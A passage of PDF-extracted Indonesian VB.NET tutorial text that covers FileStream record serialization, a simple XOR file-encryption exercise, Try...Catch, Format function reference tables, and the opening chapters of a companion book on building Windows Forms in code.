FileStream("c:\ujian.dat",FileMode.OpenOrCreate, FileAccess.ReadWrite,
FileShare.None)
Record.Nim = "123"
Fm.serialize(Fs,Record) 'Menulis record ke FileStream
Record.Nim = "234"
Fm.serialize(Fs,Record) 'Menulis record ke FileStream
Fs.Seek(0,SeekOrigin.Begin) 'Pindah stream ke record 1
Record = Fm.deserialize(Fs) 'Membaca record
Console.WriteLine(Record.Nim)
Record = Fm.deserialize(Fs) 'Membaca record
Console.WriteLine(Record.Nim)
Fs.Close()
End Sub

End Module

Latihan :

1. Buatlah program yang dapat mengkonversi semua huruf dalam text file ke huruf
besar.
2. Buatlah program yang dapat menghitung jumlah baris dan kata yang terdapat
pada suatu text file.
3. Kembangkan program untuk melakukan enkripsi/dekripsi terhadap fileasal dan
menghasilkan filetujuan yang sudah tersandi dengan suatu kata kunci (dengan
menggunakan filestream).
4. Buatlah program yang dapat menyimpan data ujian mahasiswa berdasarkan input
dari pemakai dalam bentuk record.
5. Buatlah program yang dapat membaca record dari file yang sudah dibuat pada
soal nomor 4, dan mencetak kembali dalam bentuk laporan.

Jawaban :

Option Explicit On
Imports System
Imports System.IO
Imports Microsoft.VisualBasic

Public Module ModFS

Sub Main(ByVal CmdArgs() As String)

INDOPROG 69
Bahasa pemrograman VB.NET Hendra, S.T.

Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then


Console.WriteLine("Pemakaian : en <fileasal> <filetujuan>")
End
End If
If File.Exists(CmdArgs(0)) Then

Console.Write("Kata Kunci :")

Dim KataKunci As String = Console.ReadLine() Dim

Kalimat As String = KataKunci

Do While Kalimat.Length() < 512

Kalimat = Kalimat + KataKunci

Loop

Dim FSS As FileStream = new FileStream(CmdArgs(0), _


FileMode.Open, _
FileAccess.Read)
Dim FST As FileStream = new FileStream(CmdArgs(1), _
FileMode.Create, _
FileAccess.Write)
Dim Terbaca As Integer = 0 Dim I
As Integer
Do
Terbaca = FSS.Read(Buffer,0,Buffer.Length())

For I = 0 to Terbaca-1
Buffer(I) = Buffer(I) XOR Asc(Kalimat.Chars(I)) Next
I

FST.Write(Buffer,0,Terbaca)
Loop Until Terbaca < 512

FSS.Close()
FST.Close()

Else

Console.WriteLine("File asal tidak ditemukan !")


End If
End Sub

End Module

INDOPROG 70
Bahasa pemrograman VB.NET Hendra, S.T.

Try...Catch...Finally Statements
Try…Catch…Finally merupakan cara baru penanganan error di Visual Basic pada saat
runtime, adapun tata penulisannya adalah sebagai berikut :.

Try
[ tryStatements ]
[ Catch [ exception [ As type ] ] [ When expression ]
[ catchStatements ] ]
[ Exit Try ]

[ Finally
[ finallyStatements ] ]
End Try

Contoh :

Option Explicit On
Imports System
Imports System.IO

Public Module ModFS

Sub Main(ByVal CmdArgs() As String)


Dim Buffer(511) As Byte

If CmdArgs.Length < 2 Then


Console.WriteLine("Pemakaian : duplikat <fileasal>
<filetujuan>")
End
End If

Dim FSS As FileStream

Try

FSS = File.OpenRead(CmdArgs(0))

Catch ex As Exception

Console.WriteLine("Gagal buka file " + CmdArgs(0))


End

End Try

Dim FST As FileStream = File.Create(CmdArgs(1))

Dim Terbaca As Integer = 0


Dim I As Integer

Do
Terbaca = FSS.Read(Buffer,0,Buffer.Length())
FST.Write(Buffer,0,Terbaca)
Loop Until Terbaca < 512

INDOPROG 71
Bahasa pemrograman VB.NET Hendra, S.T.

FSS.Close()
FST.Close()

End Sub

End Module

INDOPROG 72
Bahasa pemrograman VB.NET Hendra, S.T.

Lampiran 1

Predefined Numeric Formats (Format


Function)
Format name Description
General Number, G, or g Displays number with no thousand
separator.
Currency, C, or c Displays number with thousand separator, if
appropriate; display two digits to the right of the
decimal separator. Output is based on system
locale settings.
Fixed, F, or f Displays at least one digit to the left and two
digits to the right of the decimal separator.
Standard, N, or n Displays number with thousand separator, at
least one digit to the left and two digits to the
right of the decimal separator.
Percent Displays number multiplied by 100 with a
percent sign (%) appended immediately to the
right; always displays two digits to the right of
the decimal separator.
P, or p Displays number with thousandths separator
multiplied by 100 with a percent sign (%)
appended to the right and separated by a
single space; always displays two digits to
the right of the decimal separator.
Scientific Uses standard scientific notation, providing
two significant digits.
E, or e Uses standard scientific notation, providing
six significant digits.
D, or d Displays number as a string that contains
the value of the number in Decimal (base
10) format. This option is supported for
integral types (Byte, Short, Integer, Long)
only.
X, or x Displays number as a string that contains
the value of the number in Hexadecimal
(base 16) format. This option is supported for
integral types (Byte, Short, Integer, Long)
only.
Yes/No Displays No if number is 0; otherwise,
displays Yes.

INDOPROG 73
Bahasa pemrograman VB.NET Hendra, S.T.

True/False Displays False if number is 0; otherwise,


displays True.
On/Off Displays Off if number is 0; otherwise,
displays On.

User-Defined Numeric Formats (Format


Function)
Character Description
None Displays the number with no formatting.
(0) Digit placeholder. Displays a digit or a zero. If the expression has a digit
in the position where the zero appears in the format string, display it;
otherwise, displays a zero in that position.

If the number has fewer digits than there are zeros (on either side of the
decimal) in the format expression, displays leading or trailing zeros. If the
number has more digits to the right of the decimal separator than there are
zeros to the right of the decimal separator in the format expression, rounds the
number to as many decimal places as there are zeros. If the number
has more digits to the left of the decimal separator than there are zeros to the
left of the decimal separator in the format expression, displays the
extra digits without modification.
(#) Digit placeholder. Displays a digit or nothing. If the expression has a digit
in the position where the # character appears in the format string, displays it;
otherwise, displays nothing in that position.

This symbol works like the 0 digit placeholder, except that leading and
trailing zeros aren't displayed if the number has fewer digits than there are #
characters on either side of the decimal separator in the format
expression.
(.) Decimal placeholder. The decimal placeholder determines how many
digits are displayed to the left and right of the decimal separator. If the
format expression contains only # characters to the left of this symbol;
numbers smaller than 1 begin with a decimal separator. To display a
leading zero displayed with fractional numbers, use zero as the first digit
placeholder to the left of the decimal separator. In some locales, a comma is
used as the decimal separator. The actual character used as a decimal
placeholder in the formatted output depends on the number format
recognized by your system. Thus, You should use the period as the
decimal placeholder in your formats even if you are in a locale that uses a
comma as a decimal placeholder. The formatted string will appear in the
format correct for the locale.
(%) Percent placeholder. Multiplies the expression by 100. The percent

INDOPROG 74
Bahasa pemrograman VB.NET Hendra, S.T.

character (%) is inserted in the position where it appears in the format


string.
(,) Thousand separator. The thousand separator separates thousands from
hundreds within a number that has four or more places to the left of the
decimal separator. Standard use of the thousand separator is specified if
the format contains a thousand separator surrounded by digit placeholders (0
or #). A thousand separator immediately to the left of the decimal
separator (whether or not a decimal is specified) or as the rightmost
character in the string means "scale the number by dividing it by 1,000,
rounding as needed."

For example, you can use the format string "##0,." to represent 100
million as 100,000. Numbers smaller than 1,000 but greater or equal to
500 are displayed as 1, and numbers smaller than 500 are displayed as 0.
Two adjacent thousand separators in this position scale by a factor of 1
million, and an additional factor of 1,000 for each additional separator.

Multiple separators in any position other than immediately to the left of


the decimal separator or the rightmost position in the string are treated
simply as specifying the use of a thousand separator. In some locales, a
period is used as a thousand separator. The actual character used as the
thousand separator in the formatted output depends on the Number
Format recognized by your system. Thus, You should use the comma as
the thousand separator in your formats even if you are in a locale that uses a
period as a thousand separator. The formatted string will appear in the
format correct for the locale.
(:) Time separator. In some locales, other characters may be used to represent
the time separator. The time separator separates hours, minutes, and
seconds when time values are formatted. The actual character used as the
time separator in formatted output is determined by your system settings.
(/) Date separator. In some locales, other characters may be used to represent
the date separator. The date separator separates the day, month, and year
when date values are formatted. The actual character used as the date
separator in formatted output is determined by your system settings.
(E- E+ e- e+) Scientific format. If the format expression contains at least one digit
placeholder (0 or #) to the left of E-, E+, e-, or e+, the number is
displayed in scientific format and E or e is inserted between the number
and its exponent. The number of digit placeholders to the left determines
the number of digits in the exponent. Use E- or e- to place a minus sign
next to negative exponents. Use E+ or e+ to place a minus sign next to
negative exponents and a plus sign next to positive exponents. You must
also include digit placeholders to the right of this symbol to get correct
formatting.
-+$() Literal characters. These characters are displayed exactly as typed in the
format string. To display a character other than one of those listed,

INDOPROG 75
Bahasa pemrograman VB.NET Hendra, S.T.

precede it with a backslash (\) or enclose it in double quotation marks ("


").
(\) Displays the next character in the format string. To display a character
that has special meaning as a literal character, precede it with a backslash (\).
The backslash itself isn't displayed. Using a backslash is the same as
enclosing the next character in double quotation marks. To display a backslash,
use two backslashes (\\).

Examples of characters that can't be displayed as literal characters are the


date-formatting and time-formatting characters (a, c, d, h, m, n, p, q, s, t,
w, y, /, and :), the numeric-formatting characters (#, 0, %, E, e, comma,
and period), and the string-formatting characters (@, &, <, >, and !).
("ABC") Displays the string inside the double quotation marks (" "). To include a
string in the style argument from within code, you must use Chr(34) to
enclose the text (34 is the character code for a quotation mark (")).

Example

The following table contains some sample format expressions for numbers. (These
examples all assume that your system's locale setting is English-U.S.) The first column
contains the format strings for the Style argument of the Format function; the other
columns contain the resulting output if the formatted data has the value given in the
column headings.

Format (Style) "5" formatted as "-5" formatted as "0.5" formatted as


Zero-length string 5 -5 0.5
("")
0 5 -5 1
0.00 5.00 -5.00 0.50
#,##0 5 -5 1
$#,##0;($#,##0) $5 ($5) $1
$#,##0.00; $5.00 ($5.00) $0.50
($#,##0.00)
0% 500% -500% 50%
0.00% 500.00% -500.00% 50.00%
0.00E+00 5.00E+00 -5.00E+00 5.00E-01
0.00E-00 5.00E00 -5.00E00 5.00E-01

Predefined Date/Time Formats (Format


Function)
Format Name Description
General Date, or Displays a date and/or time. For real numbers, display a date and

INDOPROG 76
Bahasa pemrograman VB.NET Hendra, S.T.

G time; for example, 4/3/93 05:34 PM.If there is no fractional part,


display only a date, for example, 4/3/93. If there is no integer part,
display time only, for example, 05:34 PM. Date display is determined
by your system's LocaleID value.
Long Date, or D Displays a date according to your locale's long date format.
Medium Date Displays a date using the medium date format appropriate for the
language version of the host application.
Short Date, or d Displays a date using your locale's short date format.
Long Time, or T Displays a time using your locale's long time format; includes hours,
minutes, seconds.
Medium Time Displays time in 12-hour format using hours and minutes and the
AM/PM designator.
Short Time, or t Displays a time using the 24-hour format, for example, 17:45.
F Displays the long date and short time according to your locale's
format.
F Displays the long date and long time according to your locale's
format.
G Displays the short date and short time according to your locale's
format.
M, m Displays the month and the day of a date.
R, r Formats the date and time as Greenwich Mean Time (GMT)
S Formats the date and time as a sortable index.
U Formats the date and time as a GMT sortable index.
U Formats the date and time with the long date and long time as GMT.
Y, y Formats the date as the year and month.

User-Defined Date/Time Formats


(Format Function)
Character Description
(:) Time separator. In some locales, other characters may be used to represent
the time separator. The time separator separates hours, minutes, and
seconds when time values are formatted. The actual character used as the
time separator in formatted output is determined by your system's
LocaleID value.
(/) Date separator. In some locales, other characters may be used to represent
the date separator. The date separator separates the day, month, and year
when date values are formatted. The actual character used as the date
separator in formatted output is determined by your locale.
(%) Used to indicate that the following character should be read as a single-
letter format without regard to any trailing letters. Also used to indicate

INDOPROG 77
Bahasa pemrograman VB.NET Hendra, S.T.

that a single-letter format is read as a user-defined format. See below for


further details
d Displays the day as a number without a leading zero (for example, 1). Use
%d if this is the only character in your user-defined numeric format.
dd Displays the day as a number with a leading zero (for example, 01).
ddd Displays the day as an abbreviation (for example, Sun).
dddd Displays the day as a full name (for example, Sunday).
M Displays the month as a number without a leading zero (for example,
January is represented as 1). Use %M if this is the only character in your
user-defined numeric format.
MM Displays the month as a number with a leading zero (for example,
01/12/01).
MMM Displays the month as an abbreviation (for example, Jan).
MMMM Displays the month as a full month name (for example, January).
gg Displays the period/era string (for example, A.D.)
h Displays the hour as a number without leading zeros using the 12-hour
clock (for example, 1:15:15 PM). Use %h if this is the only character in your
user-defined numeric format.
hh Displays the hour as a number with leading zeros using the 12-hour clock
(for example, 01:15:15 PM).
H Displays the hour as a number without leading zeros using the 24-hour
clock (for example, 1:15:15). Use %H if this is the only character in your
user-defined numeric format.
HH Displays the hour as a number with leading zeros using the 24-hour clock
(for example, 01:15:15).
m Displays the minute as a number without leading zeros (for example,
12:1:15). Use %m if this is the only character in your user-defined
numeric format.
mm Displays the minute as a number with leading zeros (for example,
12:01:15).
s Displays the second as a number without leading zeros (for example,
12:15:5). Use %s if this is the only character in your user-defined
numeric format.
ss Displays the second as a number with leading zeros (for example,
12:15:05).
F Displays fractions of seconds. For example ff will display hundredths of
seconds, whereas ffff will display ten-thousandths of seconds. You may
use up to seven f symbols in your user-defined format. Use %f if this is
the only character in your user-defined numeric format.
T Uses the 12-hour clock and displays an uppercase A for any hour before
noon; displays an uppercase P for any hour between noon and 11:59 P.M.
Use %t if this is the only character in your user-defined numeric format.

INDOPROG 78
Bahasa pemrograman VB.NET Hendra, S.T.

tt Uses the 12-hour clock and displays an uppercase AM with any hour before
noon; displays an uppercase PM with any hour between noon and 11:59
P.M.
y Displays the year number (0-9) without leading zeros. Use %y if this is
the only character in your user-defined numeric format.
yy Displays the year in two-digit numeric format with a leading zero, if
applicable.
yyy Displays the year in four digit numeric format.
yyyy Displays the year in four digit numeric format.
z Displays the timezone offset without a leading zero (for example, -8).
Use %z if this is the only character in your user-defined numeric format.
zz Displays the timezone offset with a leading zero (for example, -08)
zzz Displays the full timezone offset (for example, -08:00)

Example

The following are examples of user-defined date and time formats for December 7,
1958, 8:50 PM, 35 seconds:

Format Displays
M/d/yy 12/7/58
d-MMM 7-Dec
d-MMMM-yy 7-December-58
d MMMM 7 December
MMMM yy December 58
hh:mm tt 08:50 PM
h:mm:ss t 8:50:35 P
H:mm 20:50
H:mm:ss 20:50:35
M/d/yyyy H:mm 12/7/1958 20:50

INDOPROG 79
Bahasa pemrograman VB.NET Hendra, S.T.

Daftar Pustaka

.NET Framework SDK documentation, Microsoft Corporation

INDOPROG 80
Pemrograman Form pada VB.NET Hendra, S.T.

Pemrograman Form pada VB.Net


Oleh : Hendra, ST.

Buku ini membahas tentang pembuatan program Windows Form dengan bahasa
pemrograman Visual Basic .Net, dan ditujukan kepada siapa saja yang serius untuk
mempelajari pembuatan form dan control dengan VB.NET secara koding (tanpa
menggunakan fasilitas designer pada Visual Studio .NET). Bagi anda yang belum
mengenal bahasa pemrograman VB.NET sebaiknya memulai proses belajar dengan buku
Bahasa Pemrograman VB.NET.

Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi
anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari
website Microsoft.

Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan
menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi
.Net Framework.

Dibandingkan dengan Visual Basic 6.0, maka VB.NET adalah benar-benar bahasa
pemrograman, dimana pembuatan form dan control dapat dilakukan secara koding 100%,
sedangkan pada Visual Basic 6.0 hal tersebut tidak dimungkinkan.

INDOPROG 1
Pemrograman Form pada VB.NET Hendra, S.T.

Program Windows Form


Windows Forms merupakan platform pada .NET Framework untuk pengembangan
program aplikasi yang berbasis Form pada Windows. Framework ini menyediakan
berbagai class-class yang jelas, berorientasi objek, dan dapat dikembangkan, Windows
Forms dapat bertindak sebagai interface local pada solusi client server maupun multi-tier
terdistribusi.

Catatan :
Pada VB.NET, kita dapat melakukan pemrograman form tanpa menggunakan fasilitas
designer sama sekali dan tentu saja cara ini cukup menyulitkan bagi programmer VB yang
sudah terbiasa menggunakan IDE.

Sebenarnya fasilitas IDE berbasis .NET dapat diperoleh dengan menginstalasi Visual
Studio.NET, dan tentu saja membutuhkan suatu investasi yang besar untuk mempelajari
bahasa pemrograman ini bagi mahasiswa maupun kalangan perguruan tinggi.

Tutorial ini menggunakan pendekatan koding langsung yang dapat dilakukan dengan
notepad maupun edit, dan hasil koding dapat dikompilasi dengan compiler Visual Basic
yang tersedia begitu kita menginstalasi Microsoft .NET Framework yang dapat
didownload gratis di situs Microsoft.

Penulis yakin proses pembelajaran dengan pendekatan koding merupakan langkah yang
sangat tepat untuk membawa anda menjadi professional yang menguasai VB.NET secara
mendalam dan mengendalikan secara penuh program aplikasi anda.

Apa itu form ?

Form merupakan interface antara program dengan pemakai untuk proses input output.
Pada Windows, form dapat berupa :

• single-document interface (SDI)


• multiple-document interface (MDI)
• Explorer-style interface

Salah satu contoh dari interface SDI adalah aplikasi WordPad.

Adapun program aplikasi Windows yang berbasis pada form yang paling sederhana
adalah :

Option Explicit On
Imports System

Public Module MyModule

INDOPROG 2
Pemrograman Form pada VB.NET Hendra, S.T.

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Belajar Buat Form" 'untuk title form
Form1.ShowDialog() 'form modal
End Sub

End Module

Proses Kompilasi

Kemudian simpan dengan nama form.vb anda dapat melakukan kompilasi dengan
perintah :

Vbc <namafile> /r:System.dll /r:System.Windows.Forms.dll /r:System.Drawing.dll

Contoh :

Vbc form.vb /r:System.dll /r:System.Windows.Forms.dll

Selanjutnya anda dapat menjalankannya sebagaimana program Windows dan


menghasilkan tampilan berikut :

Membuat Form senantiasa diatas form lain


Form yang senantiasa berada diatas form lain maksudnya adalah form yang tidak dapat
ditimpa oleh form lain diatas layar. Form-form sejenis ini biasanya digunakan pada
aplikasi screen saver maupun aplikasi security untuk mengunci layar seperti pada Billing
System pada warna, maupun program pada Front Desk, maupun POS untuk mencegah
pemakai beralih ke layar lain.
Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Form ini senantiasa diatas form lainnya"
Form1.TopMost = True
Form1.ShowDialog()
End Sub

End Module

Membuat Form transparan


Kita dapat menggunakan properties Opacity yang dapat diset antara nilai double 0.0
(paling transparan) s/d 1.0

INDOPROG 3
Pemrograman Form pada VB.NET Hendra, S.T.

Option Explicit On
Imports System
Imports System.Threading

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Form ini akan semakin transparan"
Form1.Show()
For I As Double = 1 To 0 Step -0.01
Form1.Opacity = I
Form1.Refresh() 'refresh form dengan setting baru
Thread.Sleep(100) 'memperlambat program 100 millidetik
Next I
End Sub

End Module

Menampilkan Form Modal dan Modeless

Form Modal harus ditutup atau hidden sebelum program berikutnya dijalankan,
sedangkan pada Modeless program akan dilanjutkan setelah form ditampilkan. Biasanya
form Modal digunakan untuk menampilkan dialog box yang membutuhkan perhatian
pemakai dan proses tidak boleh dialihkan sebelum mendapatkan keputusan dari pemakai.

Untuk form Modal dapat digunakan metoda ShowDialog(), sedangkan untuk form
Modeless dapat digunakan metoda Show().

Mengatur border pada form

Ada beberapa model border yang dapat diset pada properti FormBorderStyle, berikut ini
adalah beberapa enumerasi pada FormBorderStyle.

Setting Description
None Tidak ada border, biasanya digunakan untuk splash screen
Fixed3D Menggunakan efek tiga dimensi. Ukuran form tidak dapat diubah. Dapat diikuti oleh
tombol control-menu box, title bar, Maximize dan Minimize pada title bar.
FixedDialog Digunakan untuk fixedDialog
FixedSingle Tidak dapat diubah ukurannya
FixedToolWindow Digunakan untuk tool windows, dan form tidak ditampilkan pada task bar
Sizable Form default
SizableToolWindow Tools windows yang dapat diubah ukurannya

Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

INDOPROG 4
Pemrograman Form pada VB.NET Hendra, S.T.

Sub
Main()
Form1.Text = "Form ini menggunakan border fixed 3D"
Form1.FormBorderStyle =
System.Windows.Forms.FormBorderStyle.FixedDialog
Form1.ShowDialog()
End Sub

End Module

Kita dapat juga mengatur keberadaan button maximize dan minimize, dengan properti
MinimizeBox dan MaximizeBox, contoh :

Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Form ini tanpa tombol Maximize dan Minimize"
Form1.MinimizeBox = False
Form1.MaximizeBox = False
Form1.ShowDialog()
End Sub

End Module

Mengatur ukuran form


Untuk mengubah ukuran form pada saat runtime dapat menggunakan properti Height,
dan Width, misalnya kita ingin mengubah ukuran form menjadi 500 x 500 pixel, Contoh :

Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Form ini berukuran 500 x 500 pixel"
Form1.Width = 500
Form1.Height = 500
Form1.ShowDialog()
End Sub

End Module

Catatan :
Jika kita tidak menentukan ukuran form, maka default suatu form adalah 300 x 300 pixel

INDOPROG 5
Pemrograman Form pada VB.NET Hendra, S.T.

Ukuran form juga tergantung pada setting properti WindowState, yang mana dapat diset
dengan enumerasi dari FormWindowState berikut :

Member name Description


Maximized Jendela maximized.
Minimized Jendela minimize
Normal Jendela default

Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub
Main()
Form1.Text = "Form ini dalam state Maximize"
Form1.WindowState =
System.Windows.Forms.FormWindowState.Maximized
Form1.ShowDialog()
End Sub

End Module

Mengatur lokasi form di layar


Untuk menentukan posisi form dilayar dapat digunakan properti Left, dan Top, serta
StartPosition, contoh:
Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub Main()
Form1.Text = "Form ini berada di posisi 0,0"
Form1.Top = 0
Form1.Left = 0
Form1.ShowDialog()
End Sub

End Module

Sedangkankan untuk pemakaian properti StartPosition kita dapat


menggunakan enumerasi FormStartPosition sebagai berikut :

Member name Description


CenterParent The form is centered within the bounds of its parent form.
CenterScreen The form is centered on the current display, and has the dimensions specified
in the form's size.
Manual The position of the form is determined by the Location property.
WindowsDefaultBounds The form is positioned at the Windows default location and has the bounds

INDOPROG 6
Pemrograman Form pada VB.NET Hendra, S.T.

determined by Windows default.


WindowsDefaultLocation The form is positioned at the Windows default location and has the
dimensions specified in the form's size.

Contoh :

Option Explicit On
Imports System

Public Module MyModule

Dim Form1 As New System.Windows.Forms.Form

Sub
Main()
Form1.Text = "Form ini berada ditengah layar"
Form1.StartPosition =
System.Windows.Forms.FormStartPosition.CenterScreen
Form1.ShowDialog()
End Sub

End Module

Latihan :
Buatlah program aplikasi windows yang dapatkan menampilkan form dengan ketentuan
sebagai berikut :
1. Judul Form : Form saya yang pertama
2. Ukuran : 450 x 450 pixel
3. Berada diposisi : 200,200
4. Bingkai : Fixed Single
5. Opacity : 0.5

Modifikasi program diatas untuk menampilkan form tersebut ditengah layar.

INDOPROG 7
Pemrograman Form pada VB.NET Hendra, S.T.

OOP pada program Windows Form


Adapun teknik lain yang dapat digunakan untuk pembuatan program Windows Form
adalah dengan pendekatan OOP, dimana kita membangun class baru yang di inherit dari
System.Windows.Forms.Form, contoh :

Option Explicit On
Imports System

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

End Class

Pada program sebelumnya, kita senantiasa menggunakan Form1.ShowDialog() untuk


menampilkan Form1 secara modal, sedangkan kalau kita menggunakan Form1.Show(),
form hanya ditampilkan sebentar kemudian hilang karena program aplikasi kita segera
berakhir sesaat setelah Form1 ditampilkan, dan konsekuensinya Form1 juga dibuang dari
memori.

Sedangkan perintah System.Windows.Forms.Application.Run(New MyForm), akan


mengatur message dari sistem operasi ke program aplikasi, jika program anda tidak
mencantumkan baris ini, maka program dapat dikompilasi dan dijalankan tanpa
menghasilkan apa-apa.

Catatan :
Inheritance adalah salah satu ciri-ciri dari pemrograman berorientasi objek. Sebagaimana kita
ketahui bahwa Class Form telah tersedia pada .NET terdefinisi pada namespace
System.Windows.Forms.

Selanjutnya jika kita membuat class baru dengan melakukan inherit dari class Form, maka
secara otomatis akan mewarisi semua property, metoda, dan event yang sifatnya protected
dan public pada class Form.

Jadi kita tidak perlu perlu menulis ulang semua prilaku pada class baru, melainkan cukup
melakukan inherit dari parent class yang secara otomatis akan mewariskan semua
prilakunya ke child class.

Inheritance

Salah satu keunggulan dari OOP adalah isu pemanfaatan kembali. Dengan inheritance

INDOPROG 8
Pemrograman Form pada VB.NET Hendra, S.T.

tugas pemrograman dapat dipemudah. Suatu class yang telah dikembangkan dapat
diperbaharui dengan mengembangkan child class (sub class) yang merupakan inheritance dari
parent class (super class).

Inheritance menyerupai pengembangan produk baru pada suatu perusahaan, dimana


engineer tidak perlu membuat produk baru dari awal, tetapi dengan mengacu pada produk
yang telah ada, dan dilakukan penambahan dan perbaikan.

Mengatur setting Form dengan Constructor

Untuk pengaturan setting Form, kita dapat membuat suatu Constructor bagi Class
MyForm. Constructor adalah metoda khusus suatu Class yang akan otomatis dijalankan
begitu instance dari Class dibuat dimemori komputer.

Catatan :
Perintah New MyForm adalah membuat instance dari Class MyForm. Dalam OOP istilah
Class sering dicampuradukan dengan Objek, pada hal sebenarnya Class merupakan cetak biru
dari Objek.

Hubungan antara Object dan Class

Object merupakan instance dari Class, beberapa object dapat berasal dari Class yang
sama, tetapi memiliki properti yang berbeda-beda (dengan bahasa yang lebih sederhana
dapat dikatakan bahwa class merupakan blue print dari objek-objek).

Misalnya dalam membangun rumah, maka sebelumnya dilakukan rancangan awal dengan
mengambarkan detail dari rumah serta ukuran-ukurannya, kemudian oleh pengembang akan
dibangun rumah-rumah yang nyata berdasarkan blue print tersebut.

Pada pembuatan program OOP, dimulai dengan pembuatan Class, dan pada saat runtime
akan dibuat instance dari Class sebagai Objek, jadi program tersebut berjalan sebagai
objek-objek dimemori komputer.

Pada Visual Basic, constructor untuk suatu Class ciptaan dapat menggunakan Public Sub New.
Contoh :

Option Explicit On
Imports System

INDOPROG 9
Pemrograman Form pada VB.NET Hendra, S.T.

Public Class MyForm


Inherits System.Windows.Forms.Form

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Public Sub New() 'Constructor


Me.Text = "Dengan pendekatan OOP" End Sub

End Class

Catatan :
Konstruktor merupakan metode khusus pada class, dimana metoda ini otomatis akan
dijalankan oleh computer sesaat instance dari class dibuat, misalnya (New MyForm):

System.Windows.Forms.Application.Run(New MyForm)

Pada dunia nyata, setiap objek mengalami kelahiran dan kematian, contoh sebuah rumah
mengalai tahap pembuatan (pembangunan) dan akhirnya akan diruntuhkan demikian juga
manusia juga mengalami kelahiran dan kematian, pada saat seorang bagi dilahirkan,
maka akan membawa property seperti jenis kelamin, berat badan, dan panjang.

Sebagaimana objek pada dunia nyata, objek dikomputer pada saat dibuat, tentu saja ada
property-properti tertentu yang perlu disetting nilai awalnya, dan hal tersebut dapat
dilakukan dengan membuat konstruktor untuk class tersebut.

INDOPROG 10
Pemrograman Form pada VB.NET Hendra, S.T.

Penanganan Event pada form

Salah satu ciri dari pemrograman pada windows adalah bagaimana menangani event yang
dibangkitan oleh sistem operasi dan aplikasi berdasarkan aksi yang dilakukan oleh
pemakai terhadap form, misalnya melakukan klik pada mouse, ataupun penekanan
tombol.

Event pada Form


Event Terjadi pada saat Argumen
Activated Terjadi ketika form diaktifkan EventHandle
GotFocus Terjadi ketika kontrol mendapatkan focus EventHandle
Load Terjadi ketika form ditampilkan untuk pertama kali EventHandle
Resize Terjadi ketika kontrol mengalami perubahan ukuran EventHandle
Move Terjadi ketika kontrol berpindah EventHandle
LostFocus Terjadi ketika kontrol kehilangan fokus EventHandle
Closing Terjadi ketika form akan ditutup CancelEventHandle
Closed Terjadi ketika form ditutup EventHandle
Deactivate Terjadi ketika form kehilangan keaktifan EventHandle

Catatan :
Penanganan Event menjadi salah satu permasalahan yang dihadapi pemrograman yang
mengembangkan aplikasi mereka di lingkungan Windows, sebagaimana kita ketahui bahwa
Windows merupakan system operasi multitasking yang mana komunikasi antara program
aplikasi dengan system operasi dilakukan berdasarkan message.

Pada lingkungan multitasking, berbagai aksi yang dilakukan oleh pemakai pada system
operasi dapat mempengaruhi proses pada program kita, seperti klik pada mouse,
penekanan pada tombol.

Jika anda berasal dari pemrograman lingkungan DOS yang mana proses program berjalan
berdasarkan alur yang kita buat dari baris awal sampai baris terakhir, tentu saja akan
mengalami kesulitan untuk beralih ke pemrograman Windows dengan cepat, sebab
program di Windows berjalan berdasarkan Event. Tetapi saya yakin dengan latihan yang
intensif anda dapat dengan segera menyesuaikan diri.

System.EventHandle
Adapun tata cara penulisan event procedure untuk event yang menggunakan EventHandle
adalahs sebagai berikut :

Private Sub NamaKontrol_NamaEvent(ByVal sender As Object, ByVal e As


System.EventArgs) Handles MyBase.NamaEvent

INDOPROG 11
Pemrograman Form pada VB.NET Hendra, S.T.

System.ComponentModel.CancelEventArgs
Private Sub Form_Closing(ByVal sender As Object, ByVal e As
System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

Pada CancelEventArgs tersedia properti Cancel yang dapat diset ke nilai True/False
dengan tujuan proses Closing dilanjutkan atau dibatalkan.

Contoh :

Option Explicit On
Imports System
Imports Microsoft.VisualBasic

Public Class MyForm


Inherits System.Windows.Forms.Form

Dim CatatEvent As String

<System.STAThread()> _
Public Shared Sub Main()
System.Windows.Forms.Application.Run(New MyForm) End
Sub

Public Sub New() 'Constructor


Me.Text = "Mencoba Event pada Form" End Sub

Private Sub MyForm_Load(sender as Object, e As System.EventArgs) Handles


MyBase.Load
CatatEvent = "Terjadi Load" & vbCrlf
End Sub

Private Sub MyForm_Activated(sender as Object, e As


System.EventArgs) Handles MyBase.Activated
CatatEvent = CatatEvent & "Terjadi Activate" & vbCrlf
End Sub

Private Sub MyForm_GotFocus(sender as Object, e As System.EventArgs) Handles


MyBase.GotFocus
CatatEvent = CatatEvent & "Terjadi GotFocus" & vbcrlf
End Sub

Private Sub MyForm_Move(sender as Object, e As System.EventArgs) Handles


MyBase.Move
CatatEvent = CatatEvent & "Terjadi Move" & vbcrlf
End Sub

Private Sub MyForm_Resize(sender as Object, e As System.EventArgs) Handles


MyBase.Resize
CatatEvent = CatatEvent & "Terjadi Resize" & vbcrlf
End Sub

Private Sub MyForm_Closing(ByVal sender As Object, ByVal e As


System.ComponentModel.CancelEventArgs) Handles MyBase.Closing

INDOPROG 12
Pemrograman Form pada VB.NET Hendra, S.T.

CatatEvent = CatatEvent & "Terjadi Closing" & vbCrlf


e.Cancel = False
End Sub

Private Sub MyForm_Deactivate(sender as Object, e As


